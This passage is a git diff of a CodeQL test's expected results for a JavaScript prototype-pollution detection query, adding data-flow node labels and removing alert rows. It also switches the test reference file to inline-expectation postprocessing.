+| tests.js:280:28:280:30 | key | semmle.label | key |
+| tests.js:301:27:301:29 | dst | semmle.label | dst |
+| tests.js:301:32:301:34 | src | semmle.label | src |
+| tests.js:302:14:302:16 | key | semmle.label | key |
+| tests.js:304:17:304:32 | value | semmle.label | value |
+| tests.js:304:17:304:32 | value | semmle.label | value |
+| tests.js:304:17:304:32 | value | semmle.label | value |
+| tests.js:304:25:304:27 | src | semmle.label | src |
+| tests.js:304:25:304:32 | src[key] | semmle.label | src[key] |
+| tests.js:304:25:304:32 | src[key] | semmle.label | src[key] |
+| tests.js:304:25:304:32 | src[key] | semmle.label | src[key] |
+| tests.js:304:29:304:31 | key | semmle.label | key |
+| tests.js:306:34:306:36 | dst | semmle.label | dst |
+| tests.js:306:34:306:41 | dst[key] | semmle.label | dst[key] |
+| tests.js:306:38:306:40 | key | semmle.label | key |
+| tests.js:306:44:306:48 | value | semmle.label | value |
+| tests.js:308:17:308:19 | dst | semmle.label | dst |
+| tests.js:308:21:308:23 | key | semmle.label | key |
+| tests.js:308:28:308:32 | value | semmle.label | value |
+| tests.js:314:31:314:33 | dst | semmle.label | dst |
+| tests.js:314:36:314:38 | src | semmle.label | src |
+| tests.js:315:14:315:16 | key | semmle.label | key |
+| tests.js:318:17:318:32 | value | semmle.label | value |
+| tests.js:318:17:318:32 | value | semmle.label | value |
+| tests.js:318:17:318:32 | value | semmle.label | value |
+| tests.js:318:25:318:27 | src | semmle.label | src |
+| tests.js:318:25:318:32 | src[key] | semmle.label | src[key] |
+| tests.js:318:25:318:32 | src[key] | semmle.label | src[key] |
+| tests.js:318:25:318:32 | src[key] | semmle.label | src[key] |
+| tests.js:318:29:318:31 | key | semmle.label | key |
+| tests.js:320:38:320:40 | dst | semmle.label | dst |
+| tests.js:320:38:320:45 | dst[key] | semmle.label | dst[key] |
+| tests.js:320:42:320:44 | key | semmle.label | key |
+| tests.js:320:48:320:52 | value | semmle.label | value |
+| tests.js:322:17:322:19 | dst | semmle.label | dst |
+| tests.js:322:21:322:23 | key | semmle.label | key |
+| tests.js:322:28:322:32 | value | semmle.label | value |
+| tests.js:328:25:328:27 | dst | semmle.label | dst |
+| tests.js:328:30:328:32 | src | semmle.label | src |
+| tests.js:329:14:329:16 | key | semmle.label | key |
+| tests.js:336:32:336:34 | dst | semmle.label | dst |
+| tests.js:336:32:336:39 | dst[key] | semmle.label | dst[key] |
+| tests.js:336:36:336:38 | key | semmle.label | key |
+| tests.js:336:42:336:44 | src | semmle.label | src |
+| tests.js:336:42:336:49 | src[key] | semmle.label | src[key] |
+| tests.js:336:46:336:48 | key | semmle.label | key |
+| tests.js:338:17:338:19 | dst | semmle.label | dst |
+| tests.js:338:21:338:23 | key | semmle.label | key |
+| tests.js:338:28:338:30 | src | semmle.label | src |
+| tests.js:338:28:338:35 | src[key] | semmle.label | src[key] |
+| tests.js:338:32:338:34 | key | semmle.label | key |
+| tests.js:348:32:348:37 | target | semmle.label | target |
+| tests.js:348:40:348:45 | source | semmle.label | source |
+| tests.js:349:26:349:31 | target | semmle.label | target |
+| tests.js:349:54:349:59 | source | semmle.label | source |
+| tests.js:350:21:350:26 | source | semmle.label | source |
+| tests.js:350:37:350:39 | key | semmle.label | key |
+| tests.js:355:17:355:22 | target | semmle.label | target |
+| tests.js:355:24:355:26 | key | semmle.label | key |
+| tests.js:355:31:355:86 | mergePl ... ptions) | semmle.label | mergePl ... ptions) |
+| tests.js:355:53:355:58 | target | semmle.label | target |
+| tests.js:355:53:355:63 | target[key] | semmle.label | target[key] |
+| tests.js:355:60:355:62 | key | semmle.label | key |
+| tests.js:355:66:355:71 | source | semmle.label | source |
+| tests.js:355:66:355:76 | source[key] | semmle.label | source[key] |
+| tests.js:357:17:357:22 | target | semmle.label | target |
+| tests.js:357:24:357:26 | key | semmle.label | key |
+| tests.js:357:31:357:36 | source | semmle.label | source |
+| tests.js:357:31:357:41 | source[key] | semmle.label | source[key] |
+| tests.js:357:38:357:40 | key | semmle.label | key |
+| tests.js:361:12:361:17 | target | semmle.label | target |
+| tests.js:364:41:364:46 | target | semmle.label | target |
+| tests.js:364:49:364:54 | source | semmle.label | source |
+| tests.js:366:18:366:20 | key | semmle.label | key |
+| tests.js:371:24:371:26 | key | semmle.label | key |
+| tests.js:371:31:371:95 | mergePl ... ptions) | semmle.label | mergePl ... ptions) |
+| tests.js:371:62:371:72 | target[key] | semmle.label | target[key] |
+| tests.js:371:69:371:71 | key | semmle.label | key |
+| tests.js:371:75:371:80 | source | semmle.label | source |
+| tests.js:371:75:371:85 | source[key] | semmle.label | source[key] |
+| tests.js:373:24:373:26 | key | semmle.label | key |
+| tests.js:373:31:373:36 | source | semmle.label | source |
+| tests.js:373:31:373:41 | source[key] | semmle.label | source[key] |
+| tests.js:373:38:373:40 | key | semmle.label | key |
+| tests.js:377:12:377:17 | target | semmle.label | target |
+| tests.js:380:22:380:24 | obj | semmle.label | obj |
+| tests.js:380:27:380:34 | callback [dst] | semmle.label | callback [dst] |
+| tests.js:380:27:380:34 | callback [dst] | semmle.label | callback [dst] |
+| tests.js:380:27:380:34 | callback [dst] | semmle.label | callback [dst] |
+| tests.js:380:27:380:34 | callback [dst] | semmle.label | callback [dst] |
+| tests.js:380:27:380:34 | callback [src] | semmle.label | callback [src] |
+| tests.js:381:14:381:16 | key | semmle.label | key |
+| tests.js:383:13:383:20 | callback [dst] | semmle.label | callback [dst] |
+| tests.js:383:13:383:20 | callback [dst] | semmle.label | callback [dst] |
+| tests.js:383:13:383:20 | callback [dst] | semmle.label | callback [dst] |
+| tests.js:383:13:383:20 | callback [dst] | semmle.label | callback [dst] |
+| tests.js:383:13:383:20 | callback [src] | semmle.label | callback [src] |
+| tests.js:383:22:383:24 | key | semmle.label | key |
+| tests.js:383:27:383:29 | obj | semmle.label | obj |
+| tests.js:383:27:383:34 | obj[key] | semmle.label | obj[key] |
+| tests.js:383:31:383:33 | key | semmle.label | key |
+| tests.js:388:29:388:31 | dst | semmle.label | dst |
+| tests.js:388:29:388:31 | dst | semmle.label | dst |
+| tests.js:388:34:388:36 | src | semmle.label | src |
+| tests.js:389:17:389:19 | src | semmle.label | src |
+| tests.js:389:22:389:24 | key | semmle.label | key |
+| tests.js:391:32:391:34 | dst | semmle.label | dst |
+| tests.js:391:32:391:34 | dst | semmle.label | dst |
+| tests.js:391:32:391:39 | dst[key] | semmle.label | dst[key] |
+| tests.js:391:32:391:39 | dst[key] | semmle.label | dst[key] |
+| tests.js:391:36:391:38 | key | semmle.label | key |
+| tests.js:391:42:391:44 | src | semmle.label | src |
+| tests.js:391:42:391:49 | src[key] | semmle.label | src[key] |
+| tests.js:391:46:391:48 | key | semmle.label | key |
+| tests.js:393:13:393:15 | dst | semmle.label | dst |
+| tests.js:393:17:393:19 | key | semmle.label | key |
+| tests.js:393:24:393:26 | src | semmle.label | src |
+| tests.js:393:24:393:31 | src[key] | semmle.label | src[key] |
+| tests.js:393:28:393:30 | key | semmle.label | key |
+| tests.js:398:30:398:32 | dst | semmle.label | dst |
+| tests.js:398:30:398:32 | dst | semmle.label | dst |
+| tests.js:398:35:398:37 | src | semmle.label | src |
+| tests.js:399:17:399:19 | src | semmle.label | src |
+| tests.js:399:23:399:25 | key | semmle.label | key |
+| tests.js:399:28:399:32 | value | semmle.label | value |
+| tests.js:401:33:401:35 | dst | semmle.label | dst |
+| tests.js:401:33:401:35 | dst | semmle.label | dst |
+| tests.js:401:33:401:40 | dst[key] | semmle.label | dst[key] |
+| tests.js:401:33:401:40 | dst[key] | semmle.label | dst[key] |
+| tests.js:401:37:401:39 | key | semmle.label | key |
+| tests.js:401:43:401:47 | value | semmle.label | value |
+| tests.js:403:13:403:15 | dst | semmle.label | dst |
+| tests.js:403:17:403:19 | key | semmle.label | key |
+| tests.js:403:24:403:28 | value | semmle.label | value |
+| tests.js:408:22:408:24 | obj | semmle.label | obj |
+| tests.js:408:27:408:29 | key | semmle.label | key |
+| tests.js:409:12:409:14 | obj | semmle.label | obj |
+| tests.js:409:12:409:19 | obj[key] | semmle.label | obj[key] |
+| tests.js:409:16:409:18 | key | semmle.label | key |
+| tests.js:412:31:412:33 | dst | semmle.label | dst |
+| tests.js:412:36:412:38 | src | semmle.label | src |
+| tests.js:413:14:413:16 | key | semmle.label | key |
+| tests.js:414:13:414:41 | value | semmle.label | value |
+| tests.js:414:21:414:41 | wrapped ... c, key) | semmle.label | wrapped ... c, key) |
+| tests.js:414:33:414:35 | src | semmle.label | src |
+| tests.js:414:38:414:40 | key | semmle.label | key |
+| tests.js:415:13:415:42 | target | semmle.label | target |
+| tests.js:415:22:415:42 | wrapped ... t, key) | semmle.label | wrapped ... t, key) |
+| tests.js:415:34:415:36 | dst | semmle.label | dst |
+| tests.js:415:39:415:41 | key | semmle.label | key |
+| tests.js:417:34:417:39 | target | semmle.label | target |
+| tests.js:417:42:417:46 | value | semmle.label | value |
+| tests.js:419:13:419:15 | dst | semmle.label | dst |
+| tests.js:419:17:419:19 | key | semmle.label | key |
+| tests.js:419:24:419:28 | value | semmle.label | value |
+| tests.js:424:25:424:27 | obj | semmle.label | obj |
+| tests.js:424:30:424:32 | key | semmle.label | key |
+| tests.js:426:12:426:14 | obj | semmle.label | obj |
+| tests.js:426:12:426:19 | obj[key] | semmle.label | obj[key] |
+| tests.js:426:16:426:18 | key | semmle.label | key |
+| tests.js:429:34:429:36 | dst | semmle.label | dst |
+| tests.js:429:39:429:41 | src | semmle.label | src |
+| tests.js:430:14:430:16 | key | semmle.label | key |
+| tests.js:431:13:431:44 | value | semmle.label | value |
+| tests.js:431:21:431:44 | almostS ... c, key) | semmle.label | almostS ... c, key) |
+| tests.js:431:36:431:38 | src | semmle.label | src |
+| tests.js:431:41:431:43 | key | semmle.label | key |
+| tests.js:432:13:432:45 | target | semmle.label | target |
+| tests.js:432:22:432:45 | almostS ... t, key) | semmle.label | almostS ... t, key) |
+| tests.js:432:37:432:39 | dst | semmle.label | dst |
+| tests.js:432:42:432:44 | key | semmle.label | key |
+| tests.js:434:37:434:42 | target | semmle.label | target |
+| tests.js:434:45:434:49 | value | semmle.label | value |
+| tests.js:436:13:436:15 | dst | semmle.label | dst |
+| tests.js:436:17:436:19 | key | semmle.label | key |
+| tests.js:436:24:436:28 | value | semmle.label | value |
+| tests.js:441:19:441:21 | obj | semmle.label | obj |
+| tests.js:443:12:443:14 | obj | semmle.label | obj |
+| tests.js:443:12:443:19 | obj[key] | semmle.label | obj[key] |
+| tests.js:446:33:446:35 | src | semmle.label | src |
+| tests.js:447:14:447:16 | key | semmle.label | key |
+| tests.js:448:13:448:38 | value | semmle.label | value |
+| tests.js:448:21:448:38 | safeRead(src, key) | semmle.label | safeRead(src, key) |
+| tests.js:448:30:448:32 | src | semmle.label | src |
+| tests.js:451:39:451:43 | value | semmle.label | value |
+| tests.js:453:17:453:19 | key | semmle.label | key |
+| tests.js:453:24:453:28 | value | semmle.label | value |
+| tests.js:458:26:458:28 | dst | semmle.label | dst |
+| tests.js:458:31:458:33 | src | semmle.label | src |
+| tests.js:460:12:460:14 | src | semmle.label | src |
+| tests.js:460:18:460:22 | value | semmle.label | value |
+| tests.js:460:25:460:27 | key | semmle.label | key |
+| tests.js:462:29:462:31 | dst | semmle.label | dst |
+| tests.js:462:29:462:36 | dst[key] | semmle.label | dst[key] |
+| tests.js:462:33:462:35 | key | semmle.label | key |
+| tests.js:462:39:462:41 | src | semmle.label | src |
+| tests.js:462:39:462:46 | src[key] | semmle.label | src[key] |
+| tests.js:462:43:462:45 | key | semmle.label | key |
+| tests.js:465:30:465:32 | dst | semmle.label | dst |
+| tests.js:465:34:465:36 | key | semmle.label | key |
+| tests.js:465:41:465:43 | src | semmle.label | src |
+| tests.js:465:41:465:48 | src[key] | semmle.label | src[key] |
+| tests.js:465:45:465:47 | key | semmle.label | key |
+| tests.js:466:30:466:32 | dst | semmle.label | dst |
+| tests.js:466:34:466:36 | key | semmle.label | key |
+| tests.js:466:41:466:46 | o[key] | semmle.label | o[key] |
+| tests.js:466:43:466:45 | key | semmle.label | key |
+| tests.js:467:30:467:32 | dst | semmle.label | dst |
+| tests.js:467:34:467:36 | key | semmle.label | key |
+| tests.js:467:41:467:45 | value | semmle.label | value |
+| tests.js:472:38:472:40 | dst | semmle.label | dst |
+| tests.js:473:18:473:22 | value | semmle.label | value |
+| tests.js:473:25:473:27 | key | semmle.label | key |
+| tests.js:475:41:475:43 | dst | semmle.label | dst |
+| tests.js:475:41:475:48 | dst[key] | semmle.label | dst[key] |
+| tests.js:475:45:475:47 | key | semmle.label | key |
+| tests.js:477:13:477:15 | dst | semmle.label | dst |
+| tests.js:477:17:477:19 | key | semmle.label | key |
+| tests.js:477:24:477:28 | value | semmle.label | value |
+| tests.js:483:26:483:28 | dst | semmle.label | dst |
+| tests.js:483:31:483:33 | src | semmle.label | src |
+| tests.js:483:31:483:33 | src | semmle.label | src |
+| tests.js:484:14:484:16 | key | semmle.label | key |
+| tests.js:487:29:487:31 | dst | semmle.label | dst |
+| tests.js:487:29:487:36 | dst[key] | semmle.label | dst[key] |
+| tests.js:487:33:487:35 | key | semmle.label | key |
+| tests.js:487:39:487:41 | src | semmle.label | src |
+| tests.js:487:39:487:46 | src[key] | semmle.label | src[key] |
+| tests.js:487:39:487:46 | src[key] | semmle.label | src[key] |
+| tests.js:487:39:487:46 | src[key] | semmle.label | src[key] |
+| tests.js:487:43:487:45 | key | semmle.label | key |
+| tests.js:489:13:489:15 | dst | semmle.label | dst |
+| tests.js:489:17:489:19 | key | semmle.label | key |
+| tests.js:489:24:489:26 | src | semmle.label | src |
+| tests.js:489:24:489:31 | src[key] | semmle.label | src[key] |
+| tests.js:489:28:489:30 | key | semmle.label | key |
+| tests.js:494:32:494:34 | src | semmle.label | src |
+| tests.js:495:14:495:16 | key | semmle.label | key |
+| tests.js:498:13:498:28 | value | semmle.label | value |
+| tests.js:498:13:498:28 | value | semmle.label | value |
+| tests.js:498:13:498:28 | value | semmle.label | value |
+| tests.js:498:21:498:23 | src | semmle.label | src |
+| tests.js:498:21:498:28 | src[key] | semmle.label | src[key] |
+| tests.js:498:21:498:28 | src[key] | semmle.label | src[key] |
+| tests.js:498:21:498:28 | src[key] | semmle.label | src[key] |
+| tests.js:498:25:498:27 | key | semmle.label | key |
+| tests.js:500:38:500:42 | value | semmle.label | value |
+| tests.js:502:17:502:19 | key | semmle.label | key |
+| tests.js:502:24:502:28 | value | semmle.label | value |
+| tests.js:508:30:508:32 | dst | semmle.label | dst |
+| tests.js:508:35:508:37 | src | semmle.label | src |
+| tests.js:511:13:511:25 | key | semmle.label | key |
+| tests.js:511:19:511:25 | keys[i] | semmle.label | keys[i] |
+| tests.js:513:33:513:35 | dst | semmle.label | dst |
+| tests.js:513:33:513:40 | dst[key] | semmle.label | dst[key] |
+| tests.js:513:37:513:39 | key | semmle.label | key |
+| tests.js:513:43:513:45 | src | semmle.label | src |
+| tests.js:513:43:513:50 | src[key] | semmle.label | src[key] |
+| tests.js:513:47:513:49 | key | semmle.label | key |
+| tests.js:516:32:516:34 | src | semmle.label | src |
+| tests.js:516:32:516:39 | src[key] | semmle.label | src[key] |
+| tests.js:516:36:516:38 | key | semmle.label | key |
+| tests.js:517:35:517:37 | dst | semmle.label | dst |
+| tests.js:517:40:517:42 | key | semmle.label | key |
+| tests.js:522:35:522:38 | args [0] | semmle.label | args [0] |
+| tests.js:522:35:522:38 | args [1] | semmle.label | args [1] |
+| tests.js:523:11:523:23 | dst | semmle.label | dst |
+| tests.js:523:17:523:20 | args [0] | semmle.label | args [0] |
+| tests.js:523:17:523:23 | args[0] | semmle.label | args[0] |
+| tests.js:524:11:524:23 | src | semmle.label | src |
+| tests.js:524:17:524:20 | args [1] | semmle.label | args [1] |
+| tests.js:524:17:524:23 | args[1] | semmle.label | args[1] |
+| tests.js:525:14:525:16 | key | semmle.label | key |
+| tests.js:527:35:527:37 | dst | semmle.label | dst |
+| tests.js:527:35:527:42 | dst[key] | semmle.label | dst[key] |
+| tests.js:527:39:527:41 | key | semmle.label | key |
+| tests.js:527:45:527:47 | src | semmle.label | src |
+| tests.js:527:45:527:52 | src[key] | semmle.label | src[key] |
+| tests.js:527:49:527:51 | key | semmle.label | key |
+| tests.js:529:13:529:15 | dst | semmle.label | dst |
+| tests.js:529:17:529:19 | key | semmle.label | key |
+| tests.js:529:24:529:26 | src | semmle.label | src |
+| tests.js:529:24:529:31 | src[key] | semmle.label | src[key] |
+| tests.js:529:28:529:30 | key | semmle.label | key |
+| tests.js:534:31:534:33 | obj | semmle.label | obj |
+| tests.js:534:36:534:43 | callback [dst] | semmle.label | callback [dst] |
+| tests.js:538:9:538:16 | callback [dst] | semmle.label | callback [dst] |
+| tests.js:538:18:538:24 | keys[i] | semmle.label | keys[i] |
+| tests.js:538:27:538:29 | obj | semmle.label | obj |
+| tests.js:538:27:538:38 | obj[keys[i]] | semmle.label | obj[keys[i]] |
+| tests.js:538:31:538:37 | keys[i] | semmle.label | keys[i] |
+| tests.js:542:30:542:32 | dst | semmle.label | dst |
+| tests.js:542:35:542:37 | src | semmle.label | src |
+| tests.js:543:26:543:28 | src | semmle.label | src |
+| tests.js:543:32:543:34 | key | semmle.label | key |
+| tests.js:543:37:543:41 | value | semmle.label | value |
+| tests.js:545:33:545:35 | dst | semmle.label | dst |
+| tests.js:545:33:545:40 | dst[key] | semmle.label | dst[key] |
+| tests.js:545:37:545:39 | key | semmle.label | key |
+| tests.js:545:43:545:47 | value | semmle.label | value |
+| tests.js:547:13:547:15 | dst | semmle.label | dst |
+| tests.js:547:17:547:19 | key | semmle.label | key |
+| tests.js:547:24:547:28 | value | semmle.label | value |
+| tests.js:552:35:552:37 | src | semmle.label | src |
+| tests.js:553:14:553:16 | key | semmle.label | key |
+| tests.js:557:43:557:45 | src | semmle.label | src |
+| tests.js:557:43:557:50 | src[key] | semmle.label | src[key] |
+| tests.js:559:17:559:19 | key | semmle.label | key |
+| tests.js:559:24:559:26 | src | semmle.label | src |
+| tests.js:559:24:559:31 | src[key] | semmle.label | src[key] |
+| tests.js:559:28:559:30 | key | semmle.label | key |
+| tests.js:564:35:564:37 | src | semmle.label | src |
+| tests.js:565:14:565:16 | key | semmle.label | key |
+| tests.js:569:43:569:45 | src | semmle.label | src |
+| tests.js:569:43:569:50 | src[key] | semmle.label | src[key] |
+| tests.js:571:17:571:19 | key | semmle.label | key |
+| tests.js:571:24:571:26 | src | semmle.label | src |
+| tests.js:571:24:571:31 | src[key] | semmle.label | src[key] |
+| tests.js:571:28:571:30 | key | semmle.label | key |
+| tests.js:576:30:576:32 | src | semmle.label | src |
+| tests.js:577:14:577:16 | key | semmle.label | key |
+| tests.js:580:38:580:40 | src | semmle.label | src |
+| tests.js:580:38:580:45 | src[key] | semmle.label | src[key] |
+| tests.js:582:17:582:19 | key | semmle.label | key |
+| tests.js:582:24:582:26 | src | semmle.label | src |
+| tests.js:582:24:582:31 | src[key] | semmle.label | src[key] |
+| tests.js:582:28:582:30 | key | semmle.label | key |
+| tests.js:591:25:591:27 | obj | semmle.label | obj |
+| tests.js:592:7:592:9 | obj | semmle.label | obj |
+| tests.js:592:21:592:23 | obj | semmle.label | obj |
+| tests.js:593:10:593:12 | obj | semmle.label | obj |
+| tests.js:600:31:600:34 | dest | semmle.label | dest |
+| tests.js:600:37:600:42 | source | semmle.label | source |
+| tests.js:601:16:601:18 | key | semmle.label | key |
+| tests.js:603:34:603:37 | dest | semmle.label | dest |
+| tests.js:603:34:603:42 | dest[key] | semmle.label | dest[key] |
+| tests.js:603:39:603:41 | key | semmle.label | key |
+| tests.js:603:45:603:50 | source | semmle.label | source |
+| tests.js:603:45:603:55 | source[key] | semmle.label | source[key] |
+| tests.js:603:52:603:54 | key | semmle.label | key |
+| tests.js:605:13:605:16 | dest | semmle.label | dest |
+| tests.js:605:18:605:20 | key | semmle.label | key |
+| tests.js:605:25:605:51 | capture ... e[key]) | semmle.label | capture ... e[key]) |
+| tests.js:605:40:605:45 | source | semmle.label | source |
+| tests.js:605:40:605:50 | source[key] | semmle.label | source[key] |
+| tests.js:605:47:605:49 | key | semmle.label | key |
 subpaths
 | tests.js:355:53:355:63 | target[key] | tests.js:348:32:348:37 | target | tests.js:361:12:361:17 | target | tests.js:355:31:355:86 | mergePl ... ptions) |
 | tests.js:371:62:371:72 | target[key] | tests.js:364:41:364:46 | target | tests.js:377:12:377:17 | target | tests.js:371:31:371:95 | mergePl ... ptions) |
@@ -1381,36 +1414,3 @@ subpaths
 | tests.js:432:42:432:44 | key | tests.js:424:30:424:32 | key | tests.js:426:12:426:19 | obj[key] | tests.js:432:22:432:45 | almostS ... t, key) |
 | tests.js:448:30:448:32 | src | tests.js:441:19:441:21 | obj | tests.js:443:12:443:19 | obj[key] | tests.js:448:21:448:38 | safeRead(src, key) |
 | tests.js:605:40:605:50 | source[key] | tests.js:591:25:591:27 | obj | tests.js:593:10:593:12 | obj | tests.js:605:25:605:51 | capture ... e[key]) |
-#select
-| examples/PrototypePollutingFunction.js:7:13:7:15 | dst | examples/PrototypePollutingFunction.js:2:14:2:16 | key | examples/PrototypePollutingFunction.js:7:13:7:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | examples/PrototypePollutingFunction.js:2:21:2:23 | src | src | examples/PrototypePollutingFunction.js:7:13:7:15 | dst | dst |
-| path-assignment.js:15:13:15:18 | target | path-assignment.js:8:19:8:25 | keys[i] | path-assignment.js:15:13:15:18 | target | The property chain $@ is recursively assigned to $@ without guarding against prototype pollution. | path-assignment.js:8:19:8:25 | keys[i] | here | path-assignment.js:15:13:15:18 | target | target |
-| path-assignment.js:44:5:44:10 | target | path-assignment.js:41:19:41:25 | keys[i] | path-assignment.js:44:5:44:10 | target | The property chain $@ is recursively assigned to $@ without guarding against prototype pollution. | path-assignment.js:41:19:41:25 | keys[i] | here | path-assignment.js:44:5:44:10 | target | target |
-| path-assignment.js:61:5:61:10 | target | path-assignment.js:58:19:58:25 | keys[i] | path-assignment.js:61:5:61:10 | target | The property chain $@ is recursively assigned to $@ without guarding against prototype pollution. | path-assignment.js:58:19:58:25 | keys[i] | here | path-assignment.js:61:5:61:10 | target | target |
-| path-assignment.js:71:5:71:10 | target | path-assignment.js:68:19:68:25 | keys[i] | path-assignment.js:71:5:71:10 | target | The property chain $@ is recursively assigned to $@ without guarding against prototype pollution. | path-assignment.js:68:19:68:25 | keys[i] | here | path-assignment.js:71:5:71:10 | target | target |
-| tests.js:8:13:8:15 | dst | tests.js:4:14:4:16 | key | tests.js:8:13:8:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:4:21:4:23 | src | src | tests.js:8:13:8:15 | dst | dst |
-| tests.js:18:13:18:15 | dst | tests.js:14:30:14:32 | key | tests.js:18:13:18:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:14:17:14:19 | src | src | tests.js:18:13:18:15 | dst | dst |
-| tests.js:36:9:36:11 | dst | tests.js:25:18:25:20 | key | tests.js:36:9:36:11 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:25:25:25:30 | source | source | tests.js:36:9:36:11 | dst | dst |
-| tests.js:46:13:46:15 | dst | tests.js:41:14:41:16 | key | tests.js:46:13:46:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:41:21:41:23 | src | src | tests.js:46:13:46:15 | dst | dst |
-| tests.js:57:13:57:15 | dst | tests.js:52:14:52:16 | key | tests.js:57:13:57:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:52:21:52:23 | src | src | tests.js:57:13:57:15 | dst | dst |
-| tests.js:109:13:109:15 | dst | tests.js:102:14:102:16 | key | tests.js:109:13:109:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:102:21:102:23 | src | src | tests.js:109:13:109:15 | dst | dst |
-| tests.js:154:13:154:15 | dst | tests.js:150:14:150:16 | key | tests.js:154:13:154:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:150:21:150:23 | src | src | tests.js:154:13:154:15 | dst | dst |
-| tests.js:196:13:196:15 | dst | tests.js:192:19:192:25 | keys[i] | tests.js:196:13:196:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:190:28:190:30 | src | src | tests.js:196:13:196:15 | dst | dst |
-| tests.js:233:5:233:13 | map[key1] | tests.js:238:14:238:16 | key | tests.js:233:5:233:13 | map[key1] | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:238:21:238:24 | data | data | tests.js:233:5:233:13 | map[key1] | here |
-| tests.js:270:13:270:15 | dst | tests.js:265:19:265:26 | entry[0] | tests.js:270:13:270:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:264:20:264:22 | src | src | tests.js:270:13:270:15 | dst | dst |
-| tests.js:280:13:280:15 | dst | tests.js:276:34:276:36 | key | tests.js:280:13:280:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:276:21:276:23 | src | src | tests.js:280:13:280:15 | dst | dst |
-| tests.js:308:17:308:19 | dst | tests.js:302:14:302:16 | key | tests.js:308:17:308:19 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:302:21:302:23 | src | src | tests.js:308:17:308:19 | dst | dst |
-| tests.js:322:17:322:19 | dst | tests.js:315:14:315:16 | key | tests.js:322:17:322:19 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:315:21:315:23 | src | src | tests.js:322:17:322:19 | dst | dst |
-| tests.js:338:17:338:19 | dst | tests.js:329:14:329:16 | key | tests.js:338:17:338:19 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:329:21:329:23 | src | src | tests.js:338:17:338:19 | dst | dst |
-| tests.js:357:17:357:22 | target | tests.js:350:37:350:39 | key | tests.js:357:17:357:22 | target | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:350:21:350:26 | source | source | tests.js:357:17:357:22 | target | target |
-| tests.js:403:13:403:15 | dst | tests.js:381:14:381:16 | key | tests.js:403:13:403:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:381:21:381:23 | obj | obj | tests.js:403:13:403:15 | dst | dst |
-| tests.js:419:13:419:15 | dst | tests.js:413:14:413:16 | key | tests.js:419:13:419:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:413:21:413:23 | src | src | tests.js:419:13:419:15 | dst | dst |
-| tests.js:436:13:436:15 | dst | tests.js:430:14:430:16 | key | tests.js:436:13:436:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:430:21:430:23 | src | src | tests.js:436:13:436:15 | dst | dst |
-| tests.js:465:30:465:32 | dst | tests.js:460:25:460:27 | key | tests.js:465:30:465:32 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:460:12:460:14 | src | src | tests.js:465:30:465:32 | dst | dst |
-| tests.js:466:30:466:32 | dst | tests.js:460:25:460:27 | key | tests.js:466:30:466:32 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:460:12:460:14 | src | src | tests.js:466:30:466:32 | dst | dst |
-| tests.js:467:30:467:32 | dst | tests.js:460:25:460:27 | key | tests.js:467:30:467:32 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:460:12:460:14 | src | src | tests.js:467:30:467:32 | dst | dst |
-| tests.js:477:13:477:15 | dst | tests.js:473:25:473:27 | key | tests.js:477:13:477:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:473:12:473:14 | src | src | tests.js:477:13:477:15 | dst | dst |
-| tests.js:489:13:489:15 | dst | tests.js:484:14:484:16 | key | tests.js:489:13:489:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:484:21:484:23 | src | src | tests.js:489:13:489:15 | dst | dst |
-| tests.js:517:35:517:37 | dst | tests.js:511:19:511:25 | keys[i] | tests.js:517:35:517:37 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:509:28:509:30 | src | src | tests.js:517:35:517:37 | dst | dst |
-| tests.js:529:13:529:15 | dst | tests.js:525:14:525:16 | key | tests.js:529:13:529:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:525:21:525:23 | src | src | tests.js:529:13:529:15 | dst | dst |
-| tests.js:547:13:547:15 | dst | tests.js:538:18:538:24 | keys[i] | tests.js:547:13:547:15 | dst | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:535:30:535:32 | obj | obj | tests.js:547:13:547:15 | dst | dst |
-| tests.js:605:13:605:16 | dest | tests.js:601:16:601:18 | key | tests.js:605:13:605:16 | dest | Properties are copied from $@ to $@ without guarding against prototype pollution. | tests.js:601:35:601:40 | source | source | tests.js:605:13:605:16 | dest | dest |
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/PrototypePollutingFunction.qlref b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/PrototypePollutingFunction.qlref
index 972db5adb99d..ec5ea34d9eb1 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/PrototypePollutingFunction.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/PrototypePollutingFunction.qlref
@@ -1 +1,2 @@
-Security/CWE-915/PrototypePollutingFunction.ql
\ No newline at end of file
+query: Security/CWE-915/PrototypePollutingFunction.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
